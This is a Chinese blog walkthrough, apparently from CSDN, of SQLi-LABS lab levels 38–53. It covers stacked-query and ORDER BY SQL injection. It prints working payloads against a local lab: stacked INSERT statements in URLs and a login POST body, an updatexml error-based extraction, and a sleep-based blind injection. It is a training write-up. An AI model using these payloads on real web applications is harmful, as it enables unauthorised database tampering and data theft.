SQLi-LABS (Stacked Injections)

Less-38 GET-Stacked Query Injection - String

38关到45关考察的都是堆叠注入,虽然用报错注入和联合注入都能做出来,但是还是都用堆叠注入的方法加深印象。

堆叠注入:
又叫多语句注入,一般情况下只执行一条sql语句,通过函数可以让多条sql语句同时执行,在不同的sql语句中加;来区别,在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。


首先判断出这题是字符型注入,闭合符为',然后尝试用堆叠注入,添加一组数据进去。

此时id=16对应的数据不存在,我们添加一组数据到这个位置。
在这里插入图片描述

插入数据语法: insert into 表名 values('数据1','数据2');

构造:

http://127.0.0.1/sqli-labs-master/Less-38/?id=16';insert into users(id,username,password) values('16','admin','password')--+

再查询id=16,看到我们插入的数据。在这里插入图片描述
当然除此之外还可以执行其他很多sql语句,这也说明了堆叠注入危害极大。

Less-39 GET - stacked Query lnjection - Intiger based

和上题基本一样,只是这题是数字型注入,不需要加单引号即可。
在这里插入图片描述

Less-40 GET - BLIND based - String - Stacked

闭合方式换成'),其他不变。

Less-41 GET - BLIND based - Intiger - Stacked

这题不回显错误信息,测试后发现是数字型注入,而且不需要注释符即可注入。

Less-42 POST - Error based - string - stacked

这题换成了一个登陆界面
在这里插入图片描述
随便输入账号密码后抓包
在这里插入图片描述
这题是基于post请求的堆叠注入,在id=17处构造一组数据,payload:

login_user=admin&login_password=1';insert into users(id,username,password) values('17','adm','paswd')--+&mysubmit=Login

Less-43 POST - Error based - String - Stacked with twist

与42题基本一致,只是这题用的是')闭合。

Less-44 POST - Error based - string - stacked -Blind

这个题没有报错信息,一般采用盲注,不过经过测试发现可以和42题一样直接构造相同的payload,并且成功注入。

Less-45 POST -Error based - string - stacked - Blind

堆叠注入的最后一题,这题也是没有报错信息,但是经过测试发现和43题一样的步骤即可成功注入。

Less-46 GET - Error based - Numeric - ORDER BY CLAUSE

这题开始又是新的知识点了,order by 注入

给了一句提示:Please input parameter as SORT with numeric value(请输入带有数字值的SORT参数)

也就是说要构造?sort=
在这里插入图片描述

传入?sort=1,得到
在这里插入图片描述
有一个知识点就是,order by 查询时,默认是以指定参数(这里是id的值)从低到高排序的,如果想要从高到低排序,需要在语句结尾加一个DESC表示“倒序”。

构造?sort=1 DESC?sort=1 desc(大小写不影响)
在这里插入图片描述
发现此时倒序了,说明存在order by注入点,并且是数字型。

可以采用报错注入或延时注入,如报错注入爆数据库:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and updatexml(1,concat('~',database()),1) --+

在这里插入图片描述

下面的步骤可以参考我前面的博客

Less-47 GET - Error based - string - ORDER BY CLAUSE

这题是字符型注入,闭合方式为',其他和46一样。

Less-48 GET - Error based - Blind- Numeric- ORDER BY CLAUSE

这题是数字型注入,并且没有报错回显,考虑时间盲注:

如,猜数据库名长度:http://127.0.0.1/sqli-labs-master/Less-48/?sort=1 and if(length(database())=7,1,sleep(5))--+

猜的数字正确时耗时少,如果错误会执行sleep(5),消耗更长时间。

下面步骤以此类推,建议写脚本。

Less-49 GET - Error based - String- Blind - ORDER BY CLAUSE

这题是闭合方式为'的字符型注入,其他和48题一样。

Less-50 GET - Error based - ORDER BY CLAUSE -numeric- stacked injection

这题开始是order by stacked injection(排序叠层注入),而且是数字型的。

如构造:http://127.0.0.1/sqli-labs-master/Less-50/?sort=1;insert into users(id,username,password) values(80,'biaodi','giao')--+

成功插入数据
在这里插入图片描述

Less-51 GET - Error based - ORDER BY CLAUSE-string- stacked lnjection

和50相比,这题是字符型注入,用'闭合,并且没有报错信息,但是不妨碍直接堆叠注入。

构造:http://127.0.0.1/sqli-labs-master/Less-51/?sort=1';insert into users(id,username,password) values(99,'giao','abc')--+

插入数据成功:
在这里插入图片描述

Less-52 GET - Blind based - ORDER BY CLAUSE-numeric- Stacked injection

不显示报错信息,数字型,但是不影响堆叠注入,和50题一样构造即可。

Less-53 GET - GET - Blind based - ORDER BY CLAUSE -String- stacked injection

不显示报错信息,'闭合的字符型,但是不影响堆叠注入,和51题一样构造即可。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z.volcano

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值